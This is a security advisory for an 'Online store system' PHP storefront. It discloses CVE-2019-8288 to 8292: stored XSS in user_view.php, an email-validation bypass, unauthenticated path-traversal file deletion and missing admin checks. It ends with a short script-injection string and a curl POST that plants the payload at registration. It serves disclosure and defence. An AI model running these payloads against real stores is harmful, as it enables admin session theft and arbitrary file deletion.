Description: "Online store system" is a drop in customizable electronic store front. It has an administrative interface 
allowing user and product management. 
Vulnerability:
The application contains stored XSS vulnerabilities throughout the form page user_view.php  as none of the variables 
are sanitized before being presented back to the client. This can be exploited by a new user injecting cookie stealing 
code into their login information form and waiting for an administrative user to navigate to the users panel. 

CVE-2019-8288 
159  echo '<td>'.$row['adidas_member_user'].'</td>'; 
CVE-2019-8289 
160 echo '<td>'. $row['adidas_member_email'] . '</td>';
 CVE-2019-8290 The registration form requirements for the member email format can be bypassed by posting directly to 
sent_register.php allowing special characters to be included and an XSS payload to be injected. 
CVE-2019-8291 The code in delete_file.php doesn't check to see if a user has administrative rights nor does it check 
for path traversal allowing a '..' to delete arbitrary files owned by the httpd process. 
CVE-2019-8292 The code in delete_product.php doesn't check to see if a user has administrative rights before allowing 
them to delete a product from the database.
Exploit Code:
1. Set login name or email to "><script>alert(1);</script>
2. $ curl -s cookie.txt -X POST -d "username=jsmith&password=jsmith123&email=\"><script>alert(1);</script>%40email.com"
